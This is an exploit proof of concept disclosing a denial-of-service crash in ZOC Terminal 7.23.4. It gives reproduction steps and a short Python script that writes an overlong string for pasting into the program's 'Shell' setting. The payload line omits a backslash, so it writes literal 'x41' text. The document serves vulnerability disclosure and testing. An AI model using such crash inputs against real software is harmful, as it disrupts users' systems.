ZOC Terminal v7.23.4 – ‘Shell’ Denial of Service (PoC)

#Exploit Title:  ZOC Terminal v7.23.4  - 'Shell' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_sh.py
#2.- Open zoc_sh.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select Options > Program Settings... > Special Files
#5.- Select "Shell" field erease the content and Paste ClipBoard 
#6.- Click on "Save"
#7.- Select View > "Command Shell" and select "ok"
#8.- Crashed

cod = "x41" * 270

f = open('zoc_sh.txt', 'w')
f.write(cod)
f.close()
            

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